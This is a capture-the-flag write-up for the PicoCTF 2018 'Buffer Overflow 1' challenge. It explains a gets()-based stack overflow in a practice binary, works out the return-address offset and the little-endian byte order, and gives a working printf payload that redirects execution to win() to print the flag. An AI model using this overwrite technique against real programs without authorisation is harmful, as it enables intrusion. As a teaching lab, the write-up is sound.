PicoCTF 2018 - Buffer Overflow 1

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

Once again, finding the bug is easy, as it’s almost identical to the last challenge:

#define BUFSIZE 32

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

The buffer once again lives on the stack and has a fixed size (32 bytes). There are no other variables on the stack. The gets function is used, which is highly unsafe, as it will copy characters from stdin until either a newline character is found or the end-of-file is reached, making it trivial to overflow the buf variable and overwrite anything following it in memory, including the stack frame’s preserved ebp register and return address.

Strategy

Now that we found the bug, we need a plan to use that bug in a way that will allow us to capture the flag. They’ve taken off the training wheels slightly here, as there is no segfault handler registered. However, there is a handy dandy function that will print out the flag if called:

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

Since we no longer have a default-crash handler to fallback on, we will have to actually change the flow of execution so that the win() function gets called. Here, the win() function has been compiled into the program and exists within the .text segment of the binary at a fixed address (ASLR does not apply as the program is not compiled as a Position-independent Executable or PIE). Note: if you install pwntools you can run checksec from your shell to quickly check the security properties of binaries, including whether they are compiled as PIE. Use readelf -s or objdump -t or nm to display the address of all the exported symbols within the binary:

$ checksec ./vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

$ readelf -s ./vuln | grep win
    67: 080485cb   100 FUNC    GLOBAL DEFAULT   14 win

In this case, the code for the function win() begins at the address 0x080485cb.

If you were paying attention during buffer overflow 0 you might have a good idea of what to do now, so go and attempt the problem located at /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613 on the shell server.

Background Info

You should recall from buffer overflow 0 that the stack looks something like this after calling vuln():

lower addresses higher addresses
buf[32] < padding > <old ebp> <return address>

In order to change the flow of execution, what we need to do is overwrite the return address so that when the ret instruction is called, the execution continues at the memory address we want (instead of whatever instructions followed the call to vuln()). We know there are 32 bytes allocated for the buffer, but we don’t yet know for sure how many padding bytes there are.

To figure it out, we once again peak at the assembly code for vuln() using objdump -M intel -S ./vuln:

push   ebp
mov    ebp,esp
sub    esp,0x28
sub    esp,0xc
lea    eax,[ebp-0x28]
push   eax
call   8048430 <gets@plt>
add    esp,0x10
call   80486c0 <get_return_address>
sub    esp,0x8
push   eax
push   0x80487d4
call   8048420 <printf@plt>
add    esp,0x10
nop
leave  
ret  

In this case, 0x28 (40) bytes are reserved on the stack, meaning there are an additional 8 bytes of padding.

NOTE: For the curious, this value of padding is likely chosen because the compiler is required to keep 16-byte alignment on the stack as part of the ABI, and reserving 40 bytes in addition to the 4 bytes for the preserved ebp register and the 4 bytes for the return address results in a total of exactly 48 bytes, which is a multiple of 16. You’ll notice the call to gets first reserves 0x0c (12) bytes off the stack, before pushing 4 more (the value of eax), again resulting in a perfect 16 byte alignment.

Exploitation

We’ve calculated that if we start from the beginning of buf[], then there are exactly 32 (buf) + 8 (padding) + 4 (preserved ebp) bytes before the return address. We’ve also determined that we should execute the win() function, which is at address 0x080485cb.

In general, we don’t care about the bytes that end up in the buf[] variable or the padding. We may care about the bytes that end up in the ebp register (the previous challenge proved that), but in this case we know that even if returning from win() results in a crash, it will have already printed out the flag because the stdout stream has been explicitly set to non-buffered (_IONBF).

So, when prompted, we should provide 44 bytes of something (I arbitrarily chose 0x55, aka ‘U’, because of the repeating cycle of 0s and 1s when represented in binary), followed by the address of win. Recall, gets() will only copy up to the first newline (‘\n’), and it will always add a terminating null (‘\0’).

At this point you might be temped to form a string that looks like this:

"UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\x08\x04\x85\xcb"

However, that won’t work:

/problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613$ printf "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\x08\x04\x85\xcb" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0xcb850408
Segmentation fault

Why did it segfault? The hint is in the helpful printing of the return address. Instead of jumping to 0x080485cb, the program is jumping to 0xcb850408. The reason is that memory on many machines, including x86 and x86-64 is little-endian. That means that when storing values larger than 1 byte, the bytes are arranged so that the least-significant byte is stored first, followed by the next least-significant, and so on. The least-significant byte of 0x080485cb is 0xcb, and that byte should appear first, followed by 0x85, 0x04, and 0x08. Let’s try it:

/problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613$ printf "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{===REDACTED===}Segmentation fault (core dumped)

Eh voilà! You’ve successfully exploited a buffer-overflow vulnerability. Good Job. Head back to our PicoCTF 2018 BinExp Guide to continue with the next challenge.